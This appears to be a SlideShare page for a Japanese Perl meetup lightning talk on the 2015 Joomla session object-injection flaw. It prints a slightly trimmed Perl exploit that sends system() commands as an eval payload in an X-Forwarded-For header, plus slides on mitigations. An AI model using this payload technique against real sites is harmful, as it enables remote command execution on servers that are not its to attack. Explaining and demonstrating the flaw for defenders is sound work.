Submit Search
CMSとPerlで遊ぼう
Download as PPTX, PDF
0 likes
1,916 views
D
Daiki Ichinose
吉祥寺.pm#6のLTで話した内容です。 念のためコードは少し削ってます。 #kichijojipm
Technology
Read more
1 of 17
Download now
Download to read offline
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
More Related Content
What's hot
(20)
PDF
omoon.org の裏側 〜FuelPHP の task 活用例〜
Sotaro Omura
PDF
Norikraで作るPHPの例外検知システム YAPC::Asia Tokyo 2015 LT
Masahiro Nagano
PPTX
PHP AST 徹底解説(補遺)
do_aki
PPTX
php7's ast
do_aki
PDF
Ruby 2.5
Masahiro Tomita
KEY
モダンmod_perl入門 #yapcasia
鉄次 尾形
PDF
HHVM Hack
Masaaki Yonebayashi
PDF
最新PHP事情 (2000年7月22日,PHPカンファレンス)
Rui Hirokawa
PDF
15分でCakePHPを始める方法(Nseg 2013-11-09 )
hiro345
PDF
Zabbix API
Shuhei Hayashibara
KEY
あらためてPHP5.3
Masashi Shinbara
PDF
PHPの今とこれから 2013
Rui Hirokawa
PDF
Hack/HHVM 入門
y-uti
PDF
Spectacular Future with clojure.spec
Kent Ohashi
PDF
VarnishではじめるESI
Iwana Chan
PDF
PHP5.5新機能「ジェネレータ」初心者入門
kwatch
PPT
サーバー実装いろいろ
kjwtnb
PPT
PHP, Now and Then 2011
Rui Hirokawa
PDF
PHP Now and Then 2012 at PHP Conference 2012, Tokyo Japan (in japanese)
Rui Hirokawa
PPTX
PHP と SAPI と ZendEngine3 と
do_aki
omoon.org の裏側 〜FuelPHP の task 活用例〜
Sotaro Omura
Norikraで作るPHPの例外検知システム YAPC::Asia Tokyo 2015 LT
Masahiro Nagano
PHP AST 徹底解説(補遺)
do_aki
php7's ast
do_aki
Ruby 2.5
Masahiro Tomita
モダンmod_perl入門 #yapcasia
鉄次 尾形
HHVM Hack
Masaaki Yonebayashi
最新PHP事情 (2000年7月22日,PHPカンファレンス)
Rui Hirokawa
15分でCakePHPを始める方法(Nseg 2013-11-09 )
hiro345
Zabbix API
Shuhei Hayashibara
あらためてPHP5.3
Masashi Shinbara
PHPの今とこれから 2013
Rui Hirokawa
Hack/HHVM 入門
y-uti
Spectacular Future with clojure.spec
Kent Ohashi
VarnishではじめるESI
Iwana Chan
PHP5.5新機能「ジェネレータ」初心者入門
kwatch
サーバー実装いろいろ
kjwtnb
PHP, Now and Then 2011
Rui Hirokawa
PHP Now and Then 2012 at PHP Conference 2012, Tokyo Japan (in japanese)
Rui Hirokawa
PHP と SAPI と ZendEngine3 と
do_aki
Viewers also liked
(17)
PDF
ぼんやりした大人が趣味でプログラミングを始めたら
Hiroaki KADOMATSU
PDF
ソフトウェアメトリクス概要 20160514
Yutaka Ohwada
PDF
ある工場のRedmine画面カスタム【View customize plugin 活用例】
Kohei Nakamura
PPTX
Redmineカスタムフィールド表示改善
Yuuki Nara
PDF
みんなでRedmineをより良くしよう −Redmineプロジェクトへの貢献の仕方−
Go Maeda
PPTX
Redmineでメトリクスを見える化する方法
Hidehisa Matsutani
PDF
Yapc8oji: セキュリティテストサービスを開発運営してきた2年
ichikaway
PPTX
PM Beginners #3:メンバの考えていること、共有できてます?
YASUKAZU NAGATOMI
PPTX
技術的負債だらけのチームで技術マネージメントしてみた Kichijoji.pm7[talk2]
YASUKAZU NAGATOMI
PDF
工数把握のすすめ 〜WorkTimeプラグインの使い方〜
Tomohisa Kusukawa
PDF
View customize pluginを使いこなす
onozaty
PDF
Redmine 300 310_new_feature
Jun Naitoh
PDF
『うわ、Redmineバージョンが上がった!へなちょこプラグイン開発者はどうするか?』
akiko_pusu
PDF
Redmine Ansible
ITO Yoshiichi
PDF
チケットの棚卸し ウチではこうしてます
靖宏 田中
PDF
Redmineによるwebサポート窓口の実装と運用
Go Maeda
PDF
Redmineチューニングの実際と限界(旧資料) - Redmine performance tuning(old), See Below.
Kuniharu(州晴) AKAHANE(赤羽根)
ぼんやりした大人が趣味でプログラミングを始めたら
Hiroaki KADOMATSU
ソフトウェアメトリクス概要 20160514
Yutaka Ohwada
ある工場のRedmine画面カスタム【View customize plugin 活用例】
Kohei Nakamura
Redmineカスタムフィールド表示改善
Yuuki Nara
みんなでRedmineをより良くしよう −Redmineプロジェクトへの貢献の仕方−
Go Maeda
Redmineでメトリクスを見える化する方法
Hidehisa Matsutani
Yapc8oji: セキュリティテストサービスを開発運営してきた2年
ichikaway
PM Beginners #3:メンバの考えていること、共有できてます?
YASUKAZU NAGATOMI
技術的負債だらけのチームで技術マネージメントしてみた Kichijoji.pm7[talk2]
YASUKAZU NAGATOMI
工数把握のすすめ 〜WorkTimeプラグインの使い方〜
Tomohisa Kusukawa
View customize pluginを使いこなす
onozaty
Redmine 300 310_new_feature
Jun Naitoh
『うわ、Redmineバージョンが上がった!へなちょこプラグイン開発者はどうするか?』
akiko_pusu
Redmine Ansible
ITO Yoshiichi
チケットの棚卸し ウチではこうしてます
靖宏 田中
Redmineによるwebサポート窓口の実装と運用
Go Maeda
Redmineチューニングの実際と限界(旧資料) - Redmine performance tuning(old), See Below.
Kuniharu(州晴) AKAHANE(赤羽根)
Ad
Similar to CMSとPerlで遊ぼう
(20)
PDF
徳丸本に学ぶ 安全なPHPアプリ開発の鉄則2012
Hiroshi Tokumaru
PDF
日本 GNU AWK ユーザー会チラシ - OSC2012 Tokyo/Fall
博文 斉藤
PDF
mod_auth_ticket - Bringing Single-Sign-On to lighttpd
Taisuke Yamada
PDF
Kyotopm発表資料20130330
Kiyo Tsunezumi
PPT
関西オープンソース 2008 30days Albumの裏側
Gosuke Miyashita
PPTX
実用裏方 Perl 入門
keroyonn
PDF
PHPでセキュリティを真面目に考える
Takuya Sato
ODP
日常業務にperlを使おう
turugina
PDF
Niigata.pm #1
hayajo Imai
PDF
社内勉強会資料(Varnish Module)
Iwana Chan
PDF
PHP & Queue
sasezaki
PPTX
徳丸本に載っていないWebアプリケーションセキュリティ
Hiroshi Tokumaru
PPT
Scripting Layer for Android + Perl
Naoya Ito
PDF
Webサーバのチューニング
Yu Komiya
PDF
Linuxサーバのセキュリティ対策 part2 - Apache編
Kazunori Inaba
KEY
ゆるかわPhp
Ryota Mochizuki
PDF
Rails と Rack と HTTP と通信の話
Progate, Inc.
PDF
徳丸本に学ぶ 安全なPHPアプリ開発の鉄則2011
Hiroshi Tokumaru
PDF
エコなWebサーバー
emasaka
PPTX
MBSD Cybersecurity Challenges 2018
gomafu04
徳丸本に学ぶ 安全なPHPアプリ開発の鉄則2012
Hiroshi Tokumaru
日本 GNU AWK ユーザー会チラシ - OSC2012 Tokyo/Fall
博文 斉藤
mod_auth_ticket - Bringing Single-Sign-On to lighttpd
Taisuke Yamada
Kyotopm発表資料20130330
Kiyo Tsunezumi
関西オープンソース 2008 30days Albumの裏側
Gosuke Miyashita
実用裏方 Perl 入門
keroyonn
PHPでセキュリティを真面目に考える
Takuya Sato
日常業務にperlを使おう
turugina
Niigata.pm #1
hayajo Imai
社内勉強会資料(Varnish Module)
Iwana Chan
PHP & Queue
sasezaki
徳丸本に載っていないWebアプリケーションセキュリティ
Hiroshi Tokumaru
Scripting Layer for Android + Perl
Naoya Ito
Webサーバのチューニング
Yu Komiya
Linuxサーバのセキュリティ対策 part2 - Apache編
Kazunori Inaba
ゆるかわPhp
Ryota Mochizuki
Rails と Rack と HTTP と通信の話
Progate, Inc.
徳丸本に学ぶ 安全なPHPアプリ開発の鉄則2011
Hiroshi Tokumaru
エコなWebサーバー
emasaka
MBSD Cybersecurity Challenges 2018
gomafu04
Ad
Recently uploaded
(13)
PDF
AIツールを使った研究の効率化 Improving Research Efficiency with AI Tools
Tohoku University
PDF
SIG-AUDIO 2025 Vol.02 オンラインセミナー 「GDC2025 オーディオ報告会」SIG-Audio_GDC2024_報告会資料_増野さ...
IGDA Japan SIG-Audio
PDF
安尾 萌, 松下 光範. 環境馴致を計量可能にするための試み,人工知能学会第4回仕掛学研究会, 2018.
Matsushita Laboratory
PPTX
オープンソース界隈の利用者や技術者から見たオープンソースEDAとは? What is open source EDA from the perspecti...
Industrial Technology Research Institute (ITRI)(工業技術研究院, 工研院)
PPTX
新卒・中途採用者向け採用ピッチ資料2025年7月版(20250702).pptx
Official74
PDF
安尾 萌, 森野 穣, 松下 光範. 災害情報収集におけるSNSのメディア特性に関する一検討, 人工知能学会第30回インタラクティブ情報アクセスと可視化マ...
Matsushita Laboratory
PDF
漁船に搭載されている電子装備と漁法について_VRC海洋学研究会_海のLT会発表資料
Yuuitirou528 default
PDF
SIG-AUDIO 2025 Vol.02 オンラインセミナー 「GDC2025 オーディオ報告会」SIG-Audio_GDC2025_報告会資料_渡辺さ...
IGDA Japan SIG-Audio
PDF
マルチAIエージェントの産業界での実践に向けたオープンソース活動の展望 - Japan Regional User Group (RUG) Meet-Up
Kosaku Kimura
PDF
第3回デジタル理学療法研究会学術大会シンポジウム「デジタル理学療法の組織活用:教育・管理・研究を繋ぐ新たな地平」の講演資料.
Matsushita Laboratory
PDF
第3回デジタル理学療法学会のシンポジウム「デジタル理学療法の組織活用:教育・管理・研究を繋ぐ新たな地平」での話題提供
Matsushita Laboratory
PDF
API認可を支えるKeycloakの基本と設計の考え方 ~ OAuth/OIDCによるAPI保護のベストプラクティス ~
Hitachi, Ltd. OSS Solution Center.
PDF
go tool と Minimal Version Selection アルゴリズム
Keisuke Ishigami
AIツールを使った研究の効率化 Improving Research Efficiency with AI Tools
Tohoku University
SIG-AUDIO 2025 Vol.02 オンラインセミナー 「GDC2025 オーディオ報告会」SIG-Audio_GDC2024_報告会資料_増野さ...
IGDA Japan SIG-Audio
安尾 萌, 松下 光範. 環境馴致を計量可能にするための試み,人工知能学会第4回仕掛学研究会, 2018.
Matsushita Laboratory
オープンソース界隈の利用者や技術者から見たオープンソースEDAとは? What is open source EDA from the perspecti...
Industrial Technology Research Institute (ITRI)(工業技術研究院, 工研院)
新卒・中途採用者向け採用ピッチ資料2025年7月版(20250702).pptx
Official74
安尾 萌, 森野 穣, 松下 光範. 災害情報収集におけるSNSのメディア特性に関する一検討, 人工知能学会第30回インタラクティブ情報アクセスと可視化マ...
Matsushita Laboratory
漁船に搭載されている電子装備と漁法について_VRC海洋学研究会_海のLT会発表資料
Yuuitirou528 default
SIG-AUDIO 2025 Vol.02 オンラインセミナー 「GDC2025 オーディオ報告会」SIG-Audio_GDC2025_報告会資料_渡辺さ...
IGDA Japan SIG-Audio
マルチAIエージェントの産業界での実践に向けたオープンソース活動の展望 - Japan Regional User Group (RUG) Meet-Up
Kosaku Kimura
第3回デジタル理学療法研究会学術大会シンポジウム「デジタル理学療法の組織活用:教育・管理・研究を繋ぐ新たな地平」の講演資料.
Matsushita Laboratory
第3回デジタル理学療法学会のシンポジウム「デジタル理学療法の組織活用:教育・管理・研究を繋ぐ新たな地平」での話題提供
Matsushita Laboratory
API認可を支えるKeycloakの基本と設計の考え方 ~ OAuth/OIDCによるAPI保護のベストプラクティス ~
Hitachi, Ltd. OSS Solution Center.
go tool と Minimal Version Selection アルゴリズム
Keisuke Ishigami
CMSとPerlで遊ぼう
1.
CMSとPerlで遊ぼう 2016/1/15 吉祥寺.pm#6 @mahoyaya
2.
@mahoyaya • Name: mahoyaya •
Work: NWインフラ(?) • Favorite: DIY • Twitter: @mahoyaya • blog: http://mahoyaya.hateblo.jp • GitHub: https://github.com/mahoyaya
3.
Hardeningで日経デビューしました
4.
みなさんご存知ですか ?
5.
• <<< JPCERT/CC
WEEKLY REPORT 2015-12-24 >>> • 【1】ISC BIND 9 にサービス運用妨害 (DoS) の脆弱性 • 【2】Joomla! に複数の脆弱性 • 【3】Firefox に複数の脆弱性 • 【4】Ruby の標準添付ライブラリに脆弱性 • 【5】Symantec Endpoint Encryption に情報漏えいの脆弱性 • 【6】ScreenOS に複数の脆弱性 • 【7】WordPress 用プラグイン Welcart に SQL インジェクションの脆弱性 • 【8】WinRAR の実行ファイル読込みに脆弱性 • 【9】Ipswitch WhatsUp Gold に複数の脆弱性
6.
Joomlaに深刻な脆弱性、パッ チ公開2日前から攻撃横行
7.
どんな内容? • JoomlaはUser-AgentやX-Forwarded-Forなんかのセッション情報をDB に保存する • MySQLはUTF-8の4Byte文字列があると、それ以降の文字を切り詰め る仕様 •
セッション情報がMySQLで切り詰められた結果、PHPの session_encode形式のデータがsession_decodeされた時に文字列の情 報がオブジェクトに化ける • ディストラクタされるオブジェクトをインジェクションした後に再度同 じセッションにアクセスすると、そのオブジェクトが生成されて・・・ 徳丸先生のページ:http://goo.gl/dgPwO0
8.
というわけで、 JoomlaにPerlでObject injectionしてみた
9.
while(1) { my $response_header
= ""; #========================# # get command # #========================# my $cmd_str = getCmd(); last if $cmd_str =~ m/Aquitz/; $cmd_str =~ s/^(.+)$/system(’$1');/; info($cmd_str); #=========================# # connect to remote host # #=========================# for(my $i = 0; $i < 3; $i++){ # generate payload string my $request_str = generate_payload($cmd_str, @ary_cookies); #info($request_str); info("connect to $host:$port"); info("[send data] " . $request_str); my $sock; socket($sock, PF_INET, SOCK_STREAM, 0) or die "can't open socketn"; connect($sock, $sock_addr) or die "can't connect remote hostn"; # no buffered sock $sock select($sock); $|=1; select(STDOUT); ssend($sock, $request_str); #=====================# # get http response # #=====================# # print headers $response_header = ""; while (<$sock>){ print $_; $response_header .= $_; last if m/^rn$/; } # print body $|=1; while (<$sock>){ if( $print > 0){ print $_; } } #====================================# # get cookie and print status code # #====================================# for my $line (split("rn", $response_header)){ if($line =~ m/ASet-Cookie: /){ $line =~ s/ASet-//; my @ary = split(";", $line); push(@ary_cookies, $ary[0]); info("<" . $ary[0] . ">"); } elsif($line =~ m|AHTTP/1.1 |){ my $status = $line; $status =~ s|AHTTP/1.1 ([0-9]{3}) .+z|$1|; info("<Response: " . $status . ">"); } } close($sock) if defined $sock; print "================================n"; } # end for loop } # end while
10.
sub php_str_noquotes { my
$data = shift; my $encoded = ""; for(split("", $data)){ $encoded .= 'chr(' . unpack("C", $_) . ').'; } return substr($encoded, 0, length($encoded) - 1); } sub generate_payload { my $php_payload = shift; my $aref_cookies = shift; my $request_str = ""; $php_payload = 'eval(' . php_str_noquotes($php_payload) . ')'; my $terminate = "xf0xfdxfdxfd"; my $exploit_template = <シリアライズしたセッションデータ+$php_payload> $exploit_template .= $terminate; #utf8 4byte char # set headers my $ua = 'User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 5_0 like Mac OS X) AppleWebKit/534.46 (KHTML, like Gecko) Version/5.1 Mobile/9A334 Safari/7534.48.3'; my $xff = 'x-forwarded-for: ' . $exploit_template; $request_str = append($request_str, "GET " . $request_url . " HTTP/1.1"); $request_str = append($request_str, "Host: " . $host . ":" . $port); $request_str = append($request_str, "Accept-Encoding: gzip, deflate"); $request_str = append($request_str, $xff); $request_str = append($request_str, "Accept: */*"); $request_str = append($request_str, $ua); $request_str = append($request_str, "Connection: close"); $request_str = appendAll($request_str, $aref_cookies); $request_str = append($request_str, ""); return $request_str; }
11.
DEMO
12.
なんでも出来て楽しい !
13.
それPerl6でできるよ
14.
はじめて2日、Perl6はなかな か良いが・・・ • バージョン違いもあるが、手元のWinとMacで動作が全く異なる部分がある ’split(“”,:skip-empty)’とか • 文字出力でsegmentation
fault 11 文字列連結でmalformed utf-8 socketからのデータ受信でmalformed utf-8 わけわからんよ・・・ • はじめたばかりでルールがとっつきにくい(ちゃんと覚えれば超便利だと思 う • コンストラクタの引数設定がいまいちよくわからん。 submodule BUILDで逃げられるが引数が必須になる。
15.
DEMO 2
16.
脆弱性のあるJoomla(?)でObject injectionされないために • Joomlaが悪い感じになってるけど、Joomlaの脆弱性というより、PHPのセッションデシリ アライザとMySQLの仕様の問題 • 最新のPHPでは修正されている PHP-5.4.45 PHP-5.5.29 PHP-5.6.13 PHP-7.0.0 •
アプリケーション側で対応したバージョンを導入する(例:Joomla! 3.4.6) • MySQL 5.5.3 以降で使える utf8mb4 エンコーディングを使用する • セッションストレージとしてMySQLを避ける。(MariaDBでは起きない) • バリデーションによりUTF-8の4バイト形式をエラーにする <F0..F7> <[80..BF]>*3 徳丸先生のページ:http://goo.gl/dgPwO0
17.
おわり
Download